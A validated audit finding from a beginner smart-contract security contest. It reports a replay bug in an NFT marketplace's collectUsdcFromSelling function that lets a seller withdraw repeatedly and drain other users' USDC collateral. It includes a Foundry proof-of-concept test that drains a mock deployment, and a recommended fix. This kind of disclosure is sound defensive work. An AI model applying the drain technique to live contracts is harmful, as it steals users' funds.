NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`collectUsdcFromSelling` has no replay protection — seller drains entire contract balance

webrainsec

Root + Impact

Description

  • After buy() completes, the seller calls collectUsdcFromSelling() to receive proceeds plus minting collateral minus fees.

  • This function never resets any state: listing.price is never zeroed, collateralForMinting[tokenId] is never zeroed, and no "collected" flag exists. Every guard passes on repeat calls, so a seller can drain the entire contract balance.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
// @> listing.price never zeroed, collateralForMinting never zeroed, no collected flag
}

Risk

Likelihood:

  • Any seller who completed a sale calls collectUsdcFromSelling() multiple times — no special tools or timing required

Impact:

  • Complete drain of all USDC in the contract, including every other user's collateral and uncollected proceeds

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.34;
​
import {Test} from "forge-std/Test.sol";
import {NFTDealers} from "../../src/NFTDealers.sol";
import {MockUSDC} from "../../src/MockUSDC.sol";
​
contract Exploit_ReplayDrain is Test {
NFTDealers nftDealers;
MockUSDC usdc;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address victim1 = makeAddr("victim1");
address victim2 = makeAddr("victim2");
address victim3 = makeAddr("victim3");
address buyer = makeAddr("buyer");
​
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTD", "NFTD", "img", 20e6);
usdc.mint(attacker, 100e6);
usdc.mint(victim1, 100e6);
usdc.mint(victim2, 100e6);
usdc.mint(victim3, 100e6);
usdc.mint(buyer, 500e6);
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(attacker);
nftDealers.whitelistWallet(victim1);
nftDealers.whitelistWallet(victim2);
nftDealers.whitelistWallet(victim3);
vm.stopPrank();
address[4] memory minters = [attacker, victim1, victim2, victim3];
for (uint256 i = 0; i < 4; i++) {
vm.startPrank(minters[i]);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopPrank();
}
}
​
function testExploit_ReplayDrain() public {
vm.startPrank(attacker);
nftDealers.list(1, 10e6);
vm.stopPrank();
​
vm.startPrank(buyer);
usdc.approve(address(nftDealers), 10e6);
nftDealers.buy(1);
vm.stopPrank();
​
// Contract: 90 USDC. Each collect pays 29.9 USDC. Attacker calls 3x.
uint256 attackerBefore = usdc.balanceOf(attacker);
vm.startPrank(attacker);
nftDealers.collectUsdcFromSelling(1);
nftDealers.collectUsdcFromSelling(1);
nftDealers.collectUsdcFromSelling(1);
vm.stopPrank();
​
assertGt(usdc.balanceOf(attacker) - attackerBefore, 29900000 * 2, "Drained >2x legitimate");
assertLt(usdc.balanceOf(address(nftDealers)), 1e6, "Contract nearly empty");
}
}

Run with forge test --match-test testExploit_ReplayDrain. The attacker gains 89.7 USDC (3x their legitimate 29.9 payout) and the contract is drained from 90 USDC to 0.3 USDC — three victims' collateral is stolen.

Recommended Mitigation

Add a hasCollected flag and zero out the payment state before transferring. This enforces single collection per listing and follows the checks-effects-interactions pattern.

+ mapping(uint256 => bool) public hasCollected;
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!hasCollected[_listingId], "Already collected");
+ hasCollected[_listingId] = true;
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ collateralForMinting[listing.tokenId] = 0;
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

drain-protocol-risk

collateral is not reset to zero after collecting USDC from sold NFT. No accounting for collected USDC

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!